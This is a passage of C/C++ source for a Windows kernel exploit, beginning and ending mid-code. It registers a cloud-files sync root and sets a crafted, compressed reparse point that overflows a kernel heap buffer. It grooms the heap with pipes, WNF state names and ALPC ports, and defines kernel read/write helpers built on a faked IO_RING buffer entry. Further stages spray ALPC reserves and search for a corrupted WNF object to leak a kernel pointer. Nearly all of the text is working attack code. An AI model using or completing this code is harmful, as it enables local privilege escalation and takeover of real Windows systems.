static HANDLE               g_input_pipe_client = NULL;
static HANDLE               g_output_pipe_server = NULL;
static HANDLE               g_output_pipe_client = NULL;
static PIOP_MC_BUFFER_ENTRY g_fake_buffer_entry = NULL;
static PULONG64             g_fake_buffers_array = NULL;

static BYTE* g_fake_kalpc_reserve_object = NULL;
static BYTE* g_fake_kalpc_message_object = NULL;

static wchar_t g_syncRootPath[MAX_PATH];
static wchar_t g_filePath[MAX_PATH];

#define RESOLVE_FUNCTION(module, func_ptr, func_type, func_name) \
    do { \
        func_ptr = (func_type)GetProcAddress(module, func_name); \
        if (!func_ptr) { \
            printf("[-] Failed to resolve: %s\n", func_name); \
            return FALSE; \
        } \
    } while(0)

static ULONG Calculate_CRC32(ULONG seed, const void* buf, size_t len) {
    ULONG crc = ~seed;
    const unsigned char* p = (const unsigned char*)buf;
    for (size_t i = 0; i < len; ++i) {
        crc ^= p[i];
        for (int j = 0; j < 8; ++j) {
            if (crc & 1) crc = (crc >> 1) ^ 0xEDB88320;
            else crc >>= 1;
        }
    }
    return ~crc;
}

static BOOL IsKernelPointer(ULONG64 value) {
    return ((value & 0xFFFF000000000000ULL) == 0xFFFF000000000000ULL) &&
        (value != 0xFFFFFFFFFFFFFFFFULL) &&
```

```
        (value != 0x5151515151515151ULL) &&
        (value != 0x5252525252525252ULL);
}

static ULONG64 FindIoRingObjectAddress(HIORING hIoRing) {
    HANDLE kernelHandle = *(HANDLE*)((BYTE*)hIoRing + HIORING_OFFSET_KERNEL_HANDLE);
    printf("[*] IO_RING kernel handle: 0x%p\n", kernelHandle);

    DWORD currentPid = GetCurrentProcessId();
    ULONG bufferSize = 0x100000;
    PVOID handleInfo = NULL;
    NTSTATUS status;

    for (int attempt = 0; attempt < 10; attempt++) {
        handleInfo = VirtualAlloc(NULL, bufferSize, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
        if (!handleInfo) {
            printf("[-] VirtualAlloc failed for handle enumeration\n");
            return 0;
        }

        ULONG returnLength = 0;
        status = g_NtQuerySystemInformation(
            64,
            handleInfo, bufferSize, &returnLength
        );

        if (status == (NTSTATUS)0xC0000004) { // STATUS_INFO_LENGTH_MISMATCH
            VirtualFree(handleInfo, 0, MEM_RELEASE);
            handleInfo = NULL;
            bufferSize *= 2;
            continue;
        }
        break;
    }

    if (status != 0 || !handleInfo) {
        printf("[-] NtQuerySystemInformation failed: 0x%08X\n", status);
        if (handleInfo) VirtualFree(handleInfo, 0, MEM_RELEASE);
        return 0;
    }

    SYSTEM_HANDLE_INFORMATION_EX* info = (SYSTEM_HANDLE_INFORMATION_EX*)handleInfo;
    ULONG64 objectAddr = 0;

    printf("[*] Searching %llu handles for PID=%lu, Handle=0x%p...\n",
        (unsigned long long)info->NumberOfHandles, currentPid, kernelHandle);

    for (ULONG_PTR i = 0; i < info->NumberOfHandles; i++) {
        SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX* entry = &info->Handles[i];
        if (entry->UniqueProcessId == (ULONG_PTR)currentPid &&
            entry->HandleValue == (ULONG_PTR)kernelHandle) {
            objectAddr = (ULONG64)entry->Object;
            printf("[+] IORING_OBJECT found: 0x%016llX (TypeIndex=%u)\n",
                (unsigned long long)objectAddr, entry->ObjectTypeIndex);
            break;
```

```
        }
    }

    VirtualFree(handleInfo, 0, MEM_RELEASE);

    if (objectAddr == 0) {
        printf("[-] IORING_OBJECT not found in handle table\n");
    }
    return objectAddr;
}

//=============================================================================
// IO_RING READ/WRITE HELPERS (Edition 02)
//=============================================================================

static BOOL IoRingReadKernel(ULONG64 address, PVOID buffer, ULONG size) {
    if (!g_ioring_handle || !g_fake_buffer_entry ||
        !g_output_pipe_server || g_output_pipe_server == INVALID_HANDLE_VALUE ||
        !g_output_pipe_client || g_output_pipe_client == INVALID_HANDLE_VALUE)
        return FALSE;
    if (address == 0 || buffer == NULL || size == 0)
        return FALSE;

    g_fake_buffer_entry->Address = (PVOID)address;
    g_fake_buffer_entry->Length = size;

    IORING_HANDLE_REF fileRef = IoRingHandleRefFromHandle(g_output_pipe_client);
    IORING_BUFFER_REF bufferRef = IoRingBufferRefFromIndexAndOffset(0, 0);

    HRESULT hr = BuildIoRingWriteFile(
        g_ioring_handle, fileRef, bufferRef, size, 0,
        FILE_WRITE_FLAGS_NONE, 0, IOSQE_FLAGS_NONE
    );
    if (FAILED(hr)) return FALSE;

    UINT32 submitted = 0;
    hr = SubmitIoRing(g_ioring_handle, 1, 5000, &submitted);
    if (FAILED(hr)) return FALSE;

    IORING_CQE cqe = {};
    hr = PopIoRingCompletion(g_ioring_handle, &cqe);
    if (FAILED(hr) || FAILED((HRESULT)cqe.ResultCode)) return FALSE;

    DWORD bytesRead = 0;
    BOOL bResult = ReadFile(g_output_pipe_server, buffer, size, &bytesRead, NULL);
    if (!bResult || bytesRead != size) return FALSE;

    return TRUE;
}

static BOOL IoRingReadKernel64(ULONG64 address, ULONG64* out_value) {
    if (!IoRingReadKernel(address, out_value, sizeof(ULONG64))) return FALSE;
    printf("IoRingRead64: addr=0x%llX -> value=0x%llX\n",
        (unsigned long long)address, (unsigned long long) * out_value);
    return TRUE;
}
```

```
static BOOL IoRingWriteKernel(ULONG64 address, PVOID data, ULONG size) {
    if (!g_ioring_handle || !g_fake_buffer_entry ||
        !g_input_pipe_server || g_input_pipe_server == INVALID_HANDLE_VALUE ||
        !g_input_pipe_client || g_input_pipe_client == INVALID_HANDLE_VALUE)
        return FALSE;
    if (address == 0 || data == NULL || size == 0)
        return FALSE;

    g_fake_buffer_entry->Address = (PVOID)address;
    g_fake_buffer_entry->Length = size;

    DWORD bytesWritten = 0;
    BOOL bResult = WriteFile(g_input_pipe_server, data, size, &bytesWritten, NULL);
    if (!bResult || bytesWritten != size) return FALSE;

    IORING_HANDLE_REF fileRef = IoRingHandleRefFromHandle(g_input_pipe_client);
    IORING_BUFFER_REF bufferRef = IoRingBufferRefFromIndexAndOffset(0, 0);

    HRESULT hr = BuildIoRingReadFile(
        g_ioring_handle, fileRef, bufferRef, size, 0, 0, IOSQE_FLAGS_NONE
    );
    if (FAILED(hr)) return FALSE;

    UINT32 submitted = 0;
    hr = SubmitIoRing(g_ioring_handle, 1, 5000, &submitted);
    if (FAILED(hr)) return FALSE;

    IORING_CQE cqe = {};
    hr = PopIoRingCompletion(g_ioring_handle, &cqe);
    if (FAILED(hr) || FAILED((HRESULT)cqe.ResultCode)) return FALSE;

    return TRUE;
}

static BOOL InitializeNtdllFunctions(void) {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    if (!hNtdll) {
        printf("[-] Failed to get ntdll.dll handle\n");
        return FALSE;
    }

    RESOLVE_FUNCTION(hNtdll, g_NtCreateWnfStateName, PNtCreateWnfStateName,
"NtCreateWnfStateName");
    RESOLVE_FUNCTION(hNtdll, g_NtUpdateWnfStateData, PNtUpdateWnfStateData,
"NtUpdateWnfStateData");
    RESOLVE_FUNCTION(hNtdll, g_NtQueryWnfStateData, PNtQueryWnfStateData,
"NtQueryWnfStateData");
    RESOLVE_FUNCTION(hNtdll, g_NtDeleteWnfStateName, PNtDeleteWnfStateName,
"NtDeleteWnfStateName");
    RESOLVE_FUNCTION(hNtdll, g_NtAlpcCreatePort, PNtAlpcCreatePort,
"NtAlpcCreatePort");
    RESOLVE_FUNCTION(hNtdll, g_NtAlpcCreateResourceReserve,
PNtAlpcCreateResourceReserve, "NtAlpcCreateResourceReserve");
    RESOLVE_FUNCTION(hNtdll, g_NtAlpcSendWaitReceivePort, PNtAlpcSendWaitReceivePort,
"NtAlpcSendWaitReceivePort");
```

```
    RESOLVE_FUNCTION(hNtdll, g_NtOpenProcess, PNtOpenProcess, "NtOpenProcess");
    RESOLVE_FUNCTION(hNtdll, g_NtQuerySystemInformation, PNtQuerySystemInformation,
"NtQuerySystemInformation");
    RESOLVE_FUNCTION(hNtdll, g_NtQueryObject, PNtQueryObject, "NtQueryObject");

    printf("[+] All ntdll functions resolved\n");
    return TRUE;
}

static BOOL InitializeSyncRoot(void) {
    PWSTR appDataPath = NULL;
    HRESULT hr = SHGetKnownFolderPath(FOLDERID_RoamingAppData, 0, NULL, &appDataPath);
    if (FAILED(hr)) {
        printf("[-] Failed to get AppData path\n");
        return FALSE;
    }

    swprintf(g_syncRootPath, MAX_PATH, L"%s\\MySyncRoot", appDataPath);
    CreateDirectoryW(g_syncRootPath, NULL);

    swprintf(g_filePath, MAX_PATH, L"%s\\trigger_first", g_syncRootPath);

    CF_SYNC_REGISTRATION registration = {};
    registration.StructSize = sizeof(registration);
    registration.ProviderName = L"ExploitProvider";
    registration.ProviderVersion = L"1.0";
    registration.ProviderId = ProviderId;

    LPCWSTR identity = L"ExploitIdentity";
    registration.SyncRootIdentity = identity;
    registration.SyncRootIdentityLength = (DWORD)(wcslen(identity) * sizeof(WCHAR));

    CF_SYNC_POLICIES policies = {};
    policies.StructSize = sizeof(policies);
    policies.Hydration.Primary = CF_HYDRATION_POLICY_FULL;
    policies.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
    policies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
    policies.PlaceholderManagement =
CF_PLACEHOLDER_MANAGEMENT_POLICY_UPDATE_UNRESTRICTED;

    hr = CfRegisterSyncRoot(g_syncRootPath, &registration, &policies,
        CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);

    if (FAILED(hr)) {
        printf("[-] Sync root registration failed: 0x%08lX\n", (unsigned long)hr);
        CoTaskMemFree(appDataPath);
        return FALSE;
    }

    printf("[+] Sync root registered: %ls\n", g_syncRootPath);
    CoTaskMemFree(appDataPath);
    return TRUE;
}

typedef enum _HSM_ELEMENT_OFFSETS {
    ELEM_TYPE = 0x00, ELEM_LENGTH = 0x02, ELEM_OFFSET = 0x04,
```

```
} HSM_ELEMENT_OFFSETS;

typedef enum _HSM_FERP_OFFSETS {
    FERP_VERSION = 0x00, FERP_STRUCT_SIZE = 0x02, FERP_MAGIC = 0x04,
    FERP_CRC = 0x08, FERP_LENGTH = 0x0C, FERP_FLAGS = 0x10, FERP_MAX_ELEMS = 0x12
} HSM_FERP_OFFSETS;

typedef enum _HSM_BTRP_OFFSETS {
    BTRP_MAGIC = 0x04, BTRP_CRC = 0x08, BTRP_LENGTH = 0x0C,
    BTRP_FLAGS = 0x10, BTRP_MAX_ELEMS = 0x12
} HSM_BTRP_OFFSETS;

static USHORT BtRpBuildBuffer(HSM_ELEMENT_INFO* elements, char** input_data, int count,
char* btrp_data_buffer) {
    memset(btrp_data_buffer, 0, BTRP_BUFFER_SIZE);
    *(ULONG*)(btrp_data_buffer + BTRP_MAGIC) = HSM_BITMAP_MAGIC;
    *(USHORT*)(btrp_data_buffer + BTRP_MAX_ELEMS) = (USHORT)count;

    char* ptr = btrp_data_buffer + HSM_HEADER_SIZE;
    for (int i = 0; i < count; i++) {
        *(USHORT*)(ptr + ELEM_TYPE) = elements[i].Type;
        *(USHORT*)(ptr + ELEM_LENGTH) = elements[i].Length;
        *(ULONG*)(ptr + ELEM_OFFSET) = elements[i].Offset;
        memcpy(btrp_data_buffer + elements[i].Offset + 4, input_data[i],
elements[i].Length);
        ptr += sizeof(HSM_ELEMENT_INFO);
    }

    USHORT max_offset = 0;
    for (int i = 0; i < count; i++) {
        USHORT end = (USHORT)(elements[i].Offset + elements[i].Length);
        if (end > max_offset) max_offset = end;
    }

    USHORT total = (USHORT)(max_offset + 4);
    *(USHORT*)(btrp_data_buffer + BTRP_LENGTH) = total;
    *(USHORT*)(btrp_data_buffer + BTRP_FLAGS) = HSM_DATA_HAVE_CRC;

    if (total <= 8 + 0x0C) return 0;

    ULONG crc = Calculate_CRC32(0, btrp_data_buffer + BTRP_LENGTH, (ULONG)(total - 8));
    *(ULONG*)(btrp_data_buffer + BTRP_CRC) = crc;

    return total;
}

static USHORT FeRpBuildBuffer(HSM_ELEMENT_INFO* elements, char** input_data, int count,
char* ferp_ptr, USHORT max_elements) {
    memset(ferp_ptr, 0, FERP_BUFFER_SIZE);
    *(USHORT*)(ferp_ptr + FERP_VERSION) = VERSION_VALUE;
    *(ULONG*)(ferp_ptr + FERP_MAGIC) = HSM_FILE_MAGIC;
    *(USHORT*)(ferp_ptr + FERP_FLAGS) = HSM_DATA_HAVE_CRC;
    *(USHORT*)(ferp_ptr + FERP_MAX_ELEMS) = max_elements;

    char* descPtr = ferp_ptr + HSM_HEADER_SIZE;
    for (int i = 0; i < count; i++) {
```

```
        *(USHORT*)(descPtr + ELEM_TYPE) = elements[i].Type;
        *(USHORT*)(descPtr + ELEM_LENGTH) = elements[i].Length;
        *(ULONG*)(descPtr + ELEM_OFFSET) = elements[i].Offset;
        memcpy(ferp_ptr + elements[i].Offset, input_data[i], elements[i].Length);
        descPtr += HSM_ELEMENT_INFO_SIZE;
    }

    USHORT position_limit = 0;
    for (int i = 0; i < count; i++) {
        USHORT end = (USHORT)(elements[i].Offset + elements[i].Length);
        if (end > position_limit) position_limit = end;
    }

    USHORT rem = (USHORT)(position_limit % FERP_ALIGN);
    if (rem != 0) position_limit = (USHORT)(position_limit + (FERP_ALIGN - rem));

    *(ULONG*)(ferp_ptr + FERP_LENGTH) = (ULONG)(position_limit - 4);
    if (position_limit <= HSM_ELEMENT_TYPE_MAX) return 0;

    ULONG crc = Calculate_CRC32(0, ferp_ptr + FERP_LENGTH, (ULONG)(position_limit - 8 -
4));
    *(ULONG*)(ferp_ptr + FERP_CRC) = crc;
    *(USHORT*)(ferp_ptr + FERP_STRUCT_SIZE) = position_limit;

    return position_limit;
}

static unsigned long FeRpCompressBuffer(char* input_buffer, unsigned short input_size,
char* output_buffer) {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    if (!hNtdll) return 0;

    auto fnGetWorkSpaceSize = (PRtlGetCompressionWorkSpaceSize)GetProcAddress(hNtdll,
"RtlGetCompressionWorkSpaceSize");
    auto fnCompressBuffer = (PRtlCompressBuffer)GetProcAddress(hNtdll,
"RtlCompressBuffer");
    if (!fnGetWorkSpaceSize || !fnCompressBuffer) return 0;

    ULONG workSpaceSize = 0, fragWorkSpaceSize = 0;
    if (fnGetWorkSpaceSize(2, &workSpaceSize, &fragWorkSpaceSize) != 0) return 0;

    std::unique_ptr<char[]> workspace(new char[workSpaceSize]);
    ULONG compressedSize = 0;

    if (fnCompressBuffer(2, (PUCHAR)(input_buffer + 4), (ULONG)(input_size - 4),
        (PUCHAR)output_buffer, FERP_BUFFER_SIZE, FERP_BUFFER_SIZE,
        &compressedSize, workspace.get()) != 0) return 0;

    return compressedSize;
}

static int BuildAndSetReparsePoint(HANDLE hFile, int payload_size, char* payload_buf) {
    const int COUNT = ELEMENT_NUMBER;
    auto bt_elements = std::make_unique<HSM_ELEMENT_INFO[]>(COUNT);

    bt_elements[0].Type = HSM_ELEMENT_TYPE_BYTE;   bt_elements[0].Length = 0x1;
```

```
    bt_elements[1].Type = HSM_ELEMENT_TYPE_BYTE;   bt_elements[1].Length = 0x1;
    bt_elements[2].Type = HSM_ELEMENT_TYPE_BYTE;   bt_elements[2].Length = 0x1;
    bt_elements[3].Type = HSM_ELEMENT_TYPE_UINT64; bt_elements[3].Length = 0x8;
    bt_elements[4].Type = HSM_ELEMENT_TYPE_BITMAP; bt_elements[4].Length =
(USHORT)payload_size;

    bt_elements[0].Offset = ELEMENT_START_OFFSET;
    bt_elements[1].Offset = ELEMENT_START_OFFSET + 0x04;
    bt_elements[2].Offset = ELEMENT_START_OFFSET + 0x08;
    bt_elements[3].Offset = ELEMENT_START_OFFSET + 0x0C;
    bt_elements[4].Offset = ELEMENT_START_OFFSET + 0x18;

    std::unique_ptr<char[]> bt_buf(new char[BTRP_BUFFER_SIZE]);
    BYTE bt_data_00 = 0x01, bt_data_01 = 0x10, bt_data_02 = 0x00;
    UINT64 bt_data_03 = 0x0;
    char* bt_data[COUNT] = { (char*)&bt_data_00, (char*)&bt_data_01,
(char*)&bt_data_02, (char*)&bt_data_03, payload_buf };

    USHORT bt_size = BtRpBuildBuffer(bt_elements.get(), bt_data, COUNT, bt_buf.get());
    if (bt_size == 0) return -1;

    auto fe_elements = std::make_unique<HSM_ELEMENT_INFO[]>(COUNT);
    fe_elements[0].Type = HSM_ELEMENT_TYPE_BYTE;   fe_elements[0].Length = 0x1;
    fe_elements[1].Type = HSM_ELEMENT_TYPE_UINT32; fe_elements[1].Length = 0x4;
    fe_elements[2].Type = HSM_ELEMENT_TYPE_UINT64; fe_elements[2].Length = 0x8;
    fe_elements[3].Type = HSM_ELEMENT_TYPE_BITMAP; fe_elements[3].Length = 0x4;
    fe_elements[4].Type = HSM_ELEMENT_TYPE_BITMAP; fe_elements[4].Length = bt_size;

    fe_elements[0].Offset = ELEMENT_START_OFFSET;
    fe_elements[1].Offset = ELEMENT_START_OFFSET + 0x04;
    fe_elements[2].Offset = ELEMENT_START_OFFSET + 0x08;
    fe_elements[3].Offset = ELEMENT_START_OFFSET + 0x0C;
    fe_elements[4].Offset = ELEMENT_START_OFFSET + 0x18;

    std::unique_ptr<char[]> fe_buf(new char[FERP_BUFFER_SIZE]);
    BYTE fe_data_00 = 0x74;
    UINT32 fe_data_01 = 0x00000001;
    UINT64 fe_data_02 = 0x0;
    UINT32 fe_data_03 = 0x00000040;
    char* fe_data[COUNT] = { (char*)&fe_data_00, (char*)&fe_data_01,
(char*)&fe_data_02, (char*)&fe_data_03, bt_buf.get() };

    USHORT fe_size = FeRpBuildBuffer(fe_elements.get(), fe_data, COUNT, fe_buf.get(),
MAX_ELEMS);
    if (fe_size == 0) return -1;

    std::unique_ptr<char[]> compressed(new char[COMPRESSED_SIZE]);
    unsigned long compressed_size = FeRpCompressBuffer(fe_buf.get(), fe_size,
compressed.get());
    if (compressed_size == 0 || compressed_size > COMPRESSED_SIZE) return -1;

    USHORT cf_payload_len = (USHORT)(4 + compressed_size);
    std::unique_ptr<char[]> cf_blob(new char[cf_payload_len]);
    *(USHORT*)(cf_blob.get() + 0) = 0x8001;
    *(USHORT*)(cf_blob.get() + 2) = fe_size;
    memcpy(cf_blob.get() + 4, compressed.get(), compressed_size);
```

```
    REPARSE_DATA_BUFFER_EX rep_data = {};
    rep_data.Flags = 0x1;
    rep_data.ExistingReparseTag = IO_REPARSE_TAG_CLOUD_6;
    rep_data.ExistingReparseGuid = ProviderId;
    rep_data.ReparseDataBuffer.ReparseTag = IO_REPARSE_TAG_CLOUD_6;
    rep_data.ReparseDataBuffer.ReparseDataLength = cf_payload_len;
    memcpy(rep_data.ReparseDataBuffer.GenericReparseBuffer.DataBuffer, cf_blob.get(),
cf_payload_len);

    DWORD inSize = (DWORD)(offsetof(REPARSE_DATA_BUFFER_EX,
ReparseDataBuffer.GenericReparseBuffer.DataBuffer) + cf_payload_len);
    DWORD bytesReturned = 0;

    return DeviceIoControl(hFile, FSCTL_SET_REPARSE_POINT_EX, &rep_data, inSize, NULL,
0, &bytesReturned, NULL) ? 0 : -1;
}

//================================================================================
// STAGE 01: DEFRAGMENTATION
//================================================================================

static BOOL Stage01_Defragmentation(void) {
    printf("\n=======================================\n");
    printf("    STAGE 01: DEFRAGMENTATION\n");
    printf("=======================================\n");

    for (int round = 0; round < 2; round++) {
        auto pipes = std::make_unique<PIPE_PAIR[]>(DEFRAG_PIPE_COUNT);
        DWORD created = 0;

        for (DWORD i = 0; i < DEFRAG_PIPE_COUNT; i++) {
            if (CreatePipe(&pipes[i].hRead, &pipes[i].hWrite, NULL, 0x100)) created++;
            else pipes[i].hRead = pipes[i].hWrite = NULL;
        }

        Sleep(SLEEP_SHORT);

        for (DWORD i = 0; i < DEFRAG_PIPE_COUNT; i++) {
            if (pipes[i].hRead) CloseHandle(pipes[i].hRead);
            if (pipes[i].hWrite) CloseHandle(pipes[i].hWrite);
        }

        printf("[+] Round %d: %lu/%lu pipes\n", round + 1, created, DEFRAG_PIPE_COUNT);
    }

    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 01 COMPLETE\n");
    return TRUE;
}

//================================================================================
// STAGE 02: CREATE WNF NAMES
//================================================================================
```

```
static BOOL Stage02_CreateWnfNames(void) {
    printf("\n=======================================\n");
    printf("    STAGE 02: CREATE WNF NAMES\n");
    printf("=======================================\n");

    g_wnf_pad_names = std::make_unique<WNF_STATE_NAME[]>(WNF_PAD_SPRAY_COUNT);
    g_wnf_names = std::make_unique<WNF_STATE_NAME[]>(WNF_SPRAY_COUNT);
    g_wnf_active = std::make_unique<BOOL[]>(WNF_SPRAY_COUNT);
    memset(g_wnf_active.get(), 0, WNF_SPRAY_COUNT * sizeof(BOOL));

    PSECURITY_DESCRIPTOR pSecurityDescriptor = nullptr;
    ConvertStringSecurityDescriptorToSecurityDescriptorW(L"", SDDL_REVISION_1,
&pSecurityDescriptor, nullptr);

    DWORD padCreated = 0;
    for (DWORD i = 0; i < WNF_PAD_SPRAY_COUNT; i++) {
        if (g_NtCreateWnfStateName(&g_wnf_pad_names[i], WnfTemporaryStateName,
WnfDataScopeUser, FALSE, NULL, 0x1000, pSecurityDescriptor) == 0)
            padCreated++;
    }
    printf("[+] Created %lu padding WNF names\n", padCreated);

    DWORD actualCreated = 0;
    for (DWORD i = 0; i < WNF_SPRAY_COUNT; i++) {
        if (g_NtCreateWnfStateName(&g_wnf_names[i], WnfTemporaryStateName,
WnfDataScopeUser, FALSE, NULL, 0x1000, pSecurityDescriptor) == 0)
            actualCreated++;
    }
    printf("[+] Created %lu actual WNF names\n", actualCreated);

    LocalFree(pSecurityDescriptor);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 02 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 03: ALPC PORTS
//============================================================================

static BOOL Stage03_AlpcPorts(void) {
    printf("\n=======================================\n");
    printf("    STAGE 03: ALPC PORTS\n");
    printf("=======================================\n");

    g_alpc_ports = std::make_unique<HANDLE[]>(ALPC_PORT_COUNT);
    memset(g_alpc_ports.get(), 0, ALPC_PORT_COUNT * sizeof(HANDLE));

    DWORD created = 0;
    for (DWORD i = 0; i < ALPC_PORT_COUNT; i++) {
        ALPC_PORT_ATTRIBUTES portAttr = {};
        portAttr.MaxMessageLength = 0x500;
        OBJECT_ATTRIBUTES objAttr = {};
        objAttr.Length = sizeof(OBJECT_ATTRIBUTES);
```

```
        if (g_NtAlpcCreatePort(&g_alpc_ports[i], &objAttr, &portAttr) == 0) created++;
        else g_alpc_ports[i] = NULL;
    }

    printf("[+] Created %lu ALPC ports\n", created);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 03 COMPLETE\n");
    return (created >= ALPC_PORT_COUNT / 2);
}

//=============================================================================
// STAGE 04: UPDATE WNF PADDING DATA
//=============================================================================

static BOOL Stage04_UpdateWnfPaddingData(void) {
    printf("\n=======================================\n");
    printf("    STAGE 04: UPDATE WNF PADDING DATA\n");
    printf("=======================================\n");

    auto wnf_data = std::make_unique<BYTE[]>(WNF_DATA_SIZE);
    memset(wnf_data.get(), 0x51, WNF_DATA_SIZE);

    for (DWORD i = 0; i < WNF_PAD_SPRAY_COUNT; i++)
        g_NtUpdateWnfStateData(&g_wnf_pad_names[i], wnf_data.get(), WNF_DATA_SIZE,
NULL, NULL, 0, 0);

    printf("[+] Updated padding WNF data\n");
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 04 COMPLETE\n");
    return TRUE;
}

//=============================================================================
// STAGE 05: UPDATE WNF STATE DATA
//=============================================================================

static BOOL Stage05_UpdateWnfStateData(void) {
    printf("\n=======================================\n");
    printf("    STAGE 05: UPDATE WNF STATE DATA\n");
    printf("=======================================\n");

    auto wnf_data = std::make_unique<BYTE[]>(WNF_DATA_SIZE);
    memset(wnf_data.get(), 0x51, WNF_DATA_SIZE);

    DWORD actualUpdated = 0;
    for (DWORD i = 0; i < WNF_SPRAY_COUNT; i++) {
        if (g_NtUpdateWnfStateData(&g_wnf_names[i], wnf_data.get(), WNF_DATA_SIZE,
NULL, NULL, 0, 0) == 0) {
            g_wnf_active[i] = TRUE;
            actualUpdated++;
        }
    }
    printf("[+] Updated %lu actual WNF objects\n", actualUpdated);
```

```
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 05 COMPLETE\n");
    return TRUE;
}

//================================================================================
// STAGE 06: CREATE HOLES
//================================================================================

static BOOL Stage06_CreateHoles(void) {
    printf("\n=======================================\n");
    printf("    STAGE 06: CREATE HOLES\n");
    printf("=======================================\n");

    DWORD deleted = 0;
    for (DWORD i = 0; i < WNF_SPRAY_COUNT; i += 2) {
        if (g_wnf_active[i]) {
            if (g_NtDeleteWnfStateName(&g_wnf_names[i]) == 0) {
                g_wnf_active[i] = FALSE;
                deleted++;
            }
        }
    }

    printf("[+] Created %lu holes\n", deleted);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 06 COMPLETE\n");
    return TRUE;
}

//================================================================================
// STAGE 07: PLACE OVERFLOW BUFFER
//================================================================================

static BOOL Stage07_PlaceOverflow(void) {
    printf("\n=======================================\n");
    printf("    STAGE 07: PLACE OVERFLOW BUFFER\n");
    printf("=======================================\n");

    SetFileAttributesW(g_filePath, FILE_ATTRIBUTE_NORMAL);
    DeleteFileW(g_filePath);

    HANDLE hFile = CreateFileW(g_filePath, GENERIC_ALL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to create file: %lu\n", GetLastError());
        return FALSE;
    }

    std::unique_ptr<char[]> payload(new char[REPARSE_DATA_SIZE]);
    memset(payload.get(), PAYLOAD_FILL_BYTE, 0x1000);
    memset(payload.get() + 0x1000, 0, REPARSE_DATA_SIZE - 0x1000);
```

```
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x00) = 0x00200904;
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x04) = 0x00000FF8;
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x08) = 0x00000FF8;
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x0C) = CHANGE_STAMP_FIRST;

    int rc = BuildAndSetReparsePoint(hFile, PAYLOAD_SIZE_OVERFLOW, payload.get());
    CloseHandle(hFile);

    if (rc != 0) {
        printf("[-] Failed to set reparse point\n");
        return FALSE;
    }

    printf("[+] Reparse point set (ChangeStamp=0x%04X)\n", CHANGE_STAMP_FIRST);
    printf("[+] Stage 07 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 08: TRIGGER OVERFLOW
//============================================================================

static BOOL Stage08_TriggerOverflow(void) {
    printf("\n=======================================\n");
    printf("    STAGE 08: TRIGGER OVERFLOW\n");
    printf("=======================================\n");

    HANDLE hFile = CreateFileW(g_filePath, GENERIC_READ,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open file: %lu\n", GetLastError());
        return FALSE;
    }

    CloseHandle(hFile);
    printf("[+] Overflow triggered (0x1010 bytes into 0x1000 buffer)\n");
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 08 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 09: ALPC RESERVES
//============================================================================

static BOOL Stage09_AlpcReserves(void) {
    printf("\n=======================================\n");
    printf("    STAGE 09: ALPC RESERVES\n");
    printf("=======================================\n");

    DWORD totalReserves = 0;
    g_saved_reserve_handle = NULL;
```

```
    for (DWORD i = 0; i < ALPC_PORT_COUNT; i++) {
        if (g_alpc_ports[i] == NULL) continue;

        for (DWORD j = 0; j < ALPC_RESERVES_PER_PORT; j++) {
            HANDLE hResource = NULL;
            if (g_NtAlpcCreateResourceReserve(g_alpc_ports[i], 0, 0x28, &hResource) ==
0) {
                totalReserves++;
                if (g_saved_reserve_handle == NULL) {
                    g_saved_reserve_handle = hResource;
                }
            }
        }
    }

    printf("[+] Created %lu total reserves\n", totalReserves);
    printf("[+] Saved reserve handle: 0x%p\n", g_saved_reserve_handle);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_LONG);
    printf("[+] Stage 09 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 10: LEAK KERNEL POINTER
//============================================================================

static BOOL Stage10_LeakKernelPointer(void) {
    printf("\n=======================================\n");
    printf("    STAGE 10: LEAK KERNEL POINTER\n");
    printf("=======================================\n");

    g_victim_index = -1;

    for (DWORD i = 1; i < WNF_SPRAY_COUNT; i += 2) {
        if (!g_wnf_active[i]) continue;

        ULONG bufferSize = 0;
        WNF_CHANGE_STAMP changeStamp = 0;

        NTSTATUS status = g_NtQueryWnfStateData(&g_wnf_names[i], NULL, NULL,
&changeStamp, NULL, &bufferSize);

        if ((status == STATUS_BUFFER_TOO_SMALL || status == 0) && changeStamp ==
CHANGE_STAMP_FIRST) {
            g_victim_index = i;
            printf("[+] Found victim WNF at index %d (DataSize: 0x%lX)\n", i,
bufferSize);
            break;
        }
    }

    if (g_victim_index == -1) {
        printf("[-] No corrupted WNF found\n");
        return FALSE;
```

```
    }

    ULONG querySize = 0;
    WNF_CHANGE_STAMP stamp = 0;
    g_NtQueryWnfStateData(&g_wnf_names[g_victim_index], NULL, NULL, &stamp, NULL,
&querySize);

